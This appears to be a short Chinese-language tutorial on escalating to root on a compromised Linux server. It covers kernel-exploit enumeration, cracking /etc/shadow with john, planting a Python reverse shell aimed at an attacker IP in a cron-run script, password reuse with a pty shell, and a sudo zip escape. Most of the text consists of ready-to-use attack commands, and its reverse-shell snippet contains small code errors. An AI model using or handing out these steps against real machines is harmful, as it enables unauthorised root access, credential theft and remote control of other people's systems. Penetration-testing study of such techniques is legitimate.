在我們拿下服務器web服務往往只是低權限用戶,對於內網滲透,我們往往需要root權限,Linux系統提權包括使用溢出漏洞已及利用系統配置文件。
提權前提:
1.拿到低權限shell
2.被入侵機器上有nc,python,perl等常見linux下的工具
3.有權上傳下載文件
1. 利用內核漏洞
通殺內核漏洞十分少見,因此我們先應對系統相關進行信息收集。
利用searchsplot
查看發行版本:
cat /etc/issue
cat /etc/*-release
lsb_realse -a
查看內核版本:
uname -a
如果具有內核溢出漏洞我們就上傳溢出代碼,編譯執行
gcc xxx.c -o exploit
chmod +x exploit
./exploit
2. 利用明文root密碼提權
Linux密碼大多都和/etc/passwd 和 /etc/shadow 這兩個配置文件有關。Passwd里儲存了用戶,shadow里密碼的hash。出於安全考慮passwd是全用戶可讀,root可寫,shadow是僅root可讀寫。
例如 破解linux用戶名和對應密碼
/etc/passwd /etc/shadow
unshadow passwd shadow >cracked
john cracked
3. 利用定時計划任務
通過查看 /etc/crontab 文件,查看其他用戶是否有設定的系統定時任務,並查看對應對應任務內容,執行的任務肯定時對靶場機器的某個文件。
etc/crontab 文件是用來設定系統定期執行任務,需要root權限,不同用戶都可以有不同定時任務,如果在 /etc/crontab 下有某個用戶執行的定時計划文件,但是具體目錄下沒有這個定時執行的文件,可以自行創建反彈shell ,用創建的腳本替換原來的py腳本,netcat執行監聽獲得對應用戶的權限
如果有定時執行任務的文件,可以切換到對應的目錄,查看對應的權限,查看當前用戶是否具有讀寫權限
import os,subprocess,socket s=socket.socket() s.connect(("攻擊機ip地址","攻擊機監聽端口")) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess(["/bin/sh","-i "])
啟動監聽: nc -nlvp port
4. 密碼復用
管理員可能會設置重復使用的密碼,因此可能數據庫或者web后台的密碼就是root密碼
擁有疑似root的秘密可以嘗試ssh登錄,若禁止root登錄或被防火牆擋住,我們就想辦法在低權限上輸入密碼,當然一般情況下linux會要求用戶必須從終端設備(tty)中輸入密碼,禁止標准輸入,sudo常常不能使用
因此我們可以用python模擬一個終端 python -c "import pty;pty.spawn('/bin/bash')"
5. 利用zip提權
使用sudo -l 查看當前用戶可以使用的root提權命令信息,發現可以執行tar和zip相關命令。
touch exploit sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"